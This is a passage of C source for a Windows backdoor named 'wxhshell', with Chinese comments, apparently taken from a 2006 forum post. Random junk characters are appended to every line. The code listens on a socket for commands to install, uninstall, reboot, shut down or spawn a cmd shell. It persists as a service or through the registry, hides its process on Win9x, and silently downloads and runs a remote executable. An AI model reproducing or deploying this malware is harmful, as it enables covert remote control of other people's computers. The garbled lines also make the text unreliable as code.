    switch(cmd[0]) { 4>(OM|X=9  
  |'12Kv]#Xa  
  // 帮助 JA^Y:@<{/  
  case '?': { 62J -)~_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7j\jOkl V  
    break; OW8"7*irT  
  } bA3pDt).p  
  // 安装 %%k`+nK~  
  case 'i': { P 4jg]g  
    if(Install()) +J%9%DqF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >t}0o$\?E  
    else /g]m,Y{OI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _#6ekl|%  
    break; ,;-55|o\V  
    } POc-`]6 <F  
  // 卸载 -OV!56&  
  case 'r': { *ZA.O  
    if(Uninstall()) 3_+$x 4%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym "Nj  
    else M `bEnu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tV,Y38e  
    break; O U3KB  
    } c_^-`7g  
  // 显示 wxhshell 所在路径 o  w<.Dh  
  case 'p': { f_GqJ7Gk]  
    char svExeFile[MAX_PATH]; .ahYj n  
    strcpy(svExeFile,"\n\r"); L|[ 0&u!  
      strcat(svExeFile,ExeFile); N!&$fhY)  
        send(wsh,svExeFile,strlen(svExeFile),0); /`V:;  
    break; #x;i R8^  
    } 2,O;<9au<  
  // 重启 }2eP~3  
  case 'b': { _PeBV<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e$+?l~  
    if(Boot(REBOOT)) kmXaLt2Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jr4^@]78o<  
    else { H%:~&_D  
    closesocket(wsh); 8}kY^"*&X  
    ExitThread(0); k6vY/)-S  
    } f._FwD  
    break; )q48cQ  
    } LL1HDG >l  
  // 关机 E%vG#  
  case 'd': { mw1|>*X&R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wl:vO^  
    if(Boot(SHUTDOWN)) ?=;dNS@i@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1FSN6'  
    else { SDTX3A1  
    closesocket(wsh); W/m,qilQI  
    ExitThread(0); ]#N~r&hmQ  
    } _f8<t=R  
    break; v]tbs)x;h  
    } QDg\GA8|  
  // 获取shell \y9( b  
  case 's': { @,RrAL }|  
    CmdShell(wsh); )(|+z'  
    closesocket(wsh); k%?fy  
    ExitThread(0); b{KpfbxcI  
    break; 9oL/oL-J/  
  } H"H&uA9"  
  // 退出 6jiz$x  
  case 'x': { jMvWS71  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B|-E3v:f 4  
    CloseIt(wsh); IZV D.1  
    break; .OHjn|  
    } {VPF2JFB[  
  // 离开 Gmi w(T  
  case 'q': { -$#'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9:!<=rk  
    closesocket(wsh); P7;=rSW  
    WSACleanup(); (dxkDS-G  
    exit(1); _[8BAm  
    break; 4  |E`  
        } !'()QtvC<  
  } bojx:g  
  } q1Vh]d  
i6p0(OS&D  
  // 提示信息 =8?gx$r2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FL+^r6DQ  
} .FS`Fh;  
  } e5_:15%R\  
6Hz45  
  return; h[SuuW  
} XAV|xlfm  
$:R"IqDG  
// shell模块句柄 \Ze"Hv  
int CmdShell(SOCKET sock) `Tx1?]  
{ :bx q%D%|o  
STARTUPINFO si; LY%`O#i.  
ZeroMemory(&si,sizeof(si)); C ebl"3Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -t, .A/?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "Ldi<xq%xl  
PROCESS_INFORMATION ProcessInfo; Jb'M/iG  
char cmdline[]="cmd"; `CP}1W>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z}vgp\cuT  
  return 0; CY&Z*JI"'B  
} P%8zxU;  
%,-oxeM1u  
// 自身启动模式 ^w eU\  
int StartFromService(void) @tvAI2W  
{ ]g jhrD   
typedef struct )vB,eZq  
{ }| BnG"8  
  DWORD ExitStatus; xeqAFq=9?  
  DWORD PebBaseAddress; 3"HpM\A{A=  
  DWORD AffinityMask; Nj Ng=q  
  DWORD BasePriority; ;Jex#+H(:D  
  ULONG UniqueProcessId; b$kCyOg  
  ULONG InheritedFromUniqueProcessId; Yl[GO}M  
}   PROCESS_BASIC_INFORMATION; L3^WI( 8m  
v Dgf}  
PROCNTQSIP NtQueryInformationProcess; !JtVp&?  
__\Tv>Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V 45\.V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A+Nf]([  
U$j*{`$4  
  HANDLE             hProcess; W8:?y*6  
  PROCESS_BASIC_INFORMATION pbi; x j6-~<  
_@[M0t}g_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $~xY6"_}!!  
  if(NULL == hInst ) return 0; w:l/B '%]Y  
&BnK[Q8X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F.)b`:g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6$qn'K$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SqL8MKN)  
9K*yds  
  if (!NtQueryInformationProcess) return 0; okx~F9  
&CCp@" +  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (B@:0}>  
  if(!hProcess) return 0; H tIl;E  
Fv \yhR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w) o^?9T  
d(RSn|[0  
  CloseHandle(hProcess); u|l]8T9L  
7@R;lOzL3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !BD+H/A.{  
if(hProcess==NULL) return 0; sfSM7f  
tSK{Abw1B  
HMODULE hMod; .!T]sX_P  
char procName[255]; R9X* R3nB  
unsigned long cbNeeded; ,&S:(b[D  
&D, gKT~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (,~gY=E+  
LFHV~>d  
  CloseHandle(hProcess); ek~bXy{O`  
XJl2_#  
if(strstr(procName,"services")) return 1; // 以服务启动 *rPUVhD_  
5a1)`2V2M  
  return 0; // 注册表启动 iGmBG1a\  
} >'3J. FY  
1?\ #hemL  
// 主模块 gz6BfHQG  
int StartWxhshell(LPSTR lpCmdLine) G*_$[|H  
{ ; ]GSVv:  
  SOCKET wsl; SsiKuoxk  
BOOL val=TRUE; =}txcA+  
  int port=0; juPW!u  
  struct sockaddr_in door; iJ HOLz"!  
H~1&hF"d  
  if(wscfg.ws_autoins) Install(); -g'[1  
pj.}VF!d  
port=atoi(lpCmdLine); B d$i%.r  
@RW=(&<1  
if(port<=0) port=wscfg.ws_port; E"7 iU  
5tMp@$F\{[  
  WSADATA data; vy?Zz<c;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $qk2!  
d4h1#MK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *C*n( the  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b]s.h8+v;  
  door.sin_family = AF_INET; |IL..C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MY1 1 5%  
  door.sin_port = htons(port); t(FI Bf3  
y21zaQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D~W1["[  
closesocket(wsl); ~ow_&ftlo  
return 1; D6 B(6 5Y  
} I%]L  
$Il?[4FF  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Aul 7[IH  
closesocket(wsl); ^mbpt`@  
return 1; JAM4 R_  
} C FY3D|  
  Wxhshell(wsl); m'&^\7;D  
  WSACleanup(); {?c `0C  
 qOO2@c  
return 0; 1:S75~b-`  
QGE)Xn#_bN  
} Z)B5g>  
-}nTwx:|5u  
// 以NT服务方式启动 ^Wk.D-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6j9P`#Lt  
{ |V#h "s  
DWORD   status = 0; Yhu 6QyRV  
  DWORD   specificError = 0xfffffff; 9l9h*P gt  
z7X[$T$V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _:4n&1{.E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Pi}2RBRu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hawE2k0p(  
  serviceStatus.dwWin32ExitCode     = 0; S~auwY,<  
  serviceStatus.dwServiceSpecificExitCode = 0; 6A$ \I44  
  serviceStatus.dwCheckPoint       = 0; cl s-x@ Kd  
  serviceStatus.dwWaitHint       = 0; Q$_S/d%*  
G%N3h'zDi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VHhW_ya1g{  
  if (hServiceStatusHandle==0) return; H6Q1r[(B  
%,Fx qw  
status = GetLastError(); ][R#Q;y<  
  if (status!=NO_ERROR) NQCJ '%L6  
{ wIT0A-Por4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lTOO`g  
    serviceStatus.dwCheckPoint       = 0; S7SD$+fX  
    serviceStatus.dwWaitHint       = 0; $agd9z,&m  
    serviceStatus.dwWin32ExitCode     = status; noz&4"S.{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7U_~_yb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G&FA~c  
    return; _\M:h+^  
  } OEc$ro=m*  
:n36}VG|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >% a^;gk(  
  serviceStatus.dwCheckPoint       = 0; Wx&gI4~  
  serviceStatus.dwWaitHint       = 0; L$*sv.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S0+nQM%  
} $7%e|0jC  
}$-;P=k  
// 处理NT服务事件,比如:启动、停止 T@c{5a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H%c:f  
{ D&KD5_Sw  
switch(fdwControl) iYE:o{  
{ 9(`d h  
case SERVICE_CONTROL_STOP: 6\4~&+;wL  
  serviceStatus.dwWin32ExitCode = 0; z)$X/v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y{~[N yE  
  serviceStatus.dwCheckPoint   = 0; 78't"2>  
  serviceStatus.dwWaitHint     = 0; Ar@" K!TS  
  { 5[\mwUA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =1' / ?  
  } C^>txui8  
  return; f"emH  
case SERVICE_CONTROL_PAUSE: -:w+`x?XaB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sYlA{Z"  
  break; fN4d^0&  
case SERVICE_CONTROL_CONTINUE: ~Xa8\>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qp9)Rc5  
  break; G-?y;V 1  
case SERVICE_CONTROL_INTERROGATE: E;7vGGf]  
  break; ]mEY/)~7  
}; MpZ #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v:c@n  
} jr$]kLY  
~3YN;St-  
// 标准应用程序主函数 MH;5gC@ `  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FOz7W  
{ wGfU@!m  
eq)8V x0  
// 获取操作系统版本 v`i9LD0(  
OsIsNt=GetOsVer(); :]&O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KtWn08D!  
5(F @KeH>  
  // 从命令行安装 e$krA!zN  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8sm8L\-  
8 /3`rEW  
  // 下载执行文件 fh rS7f'Zd  
if(wscfg.ws_downexe) { |q&&"SpA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 59eq"08  
  WinExec(wscfg.ws_filenam,SW_HIDE); y8/ 7@qw  
} !F3Y7R  
i@7b  
if(!OsIsNt) { q.]>uBAQ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 y^"[^+F3 .  
HideProc(); 3R!?r^h  
StartWxhshell(lpCmdLine); UOTM>d1P  
} o' U::  
else JWHKa=-H  
  if(StartFromService()) b65V*Vbj  
  // 以服务方式启动 NE Br) ~  
  StartServiceCtrlDispatcher(DispatchTable); $2l<X KT-  
else iQryX(z  
  // 普通方式启动 hrsMAh!  
  StartWxhshell(lpCmdLine); _&0_@  
5$C4Ui{<E'  
return 0; S%ULGX:@ga  
}
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只看该作者 1 发表于: 2006-10-10
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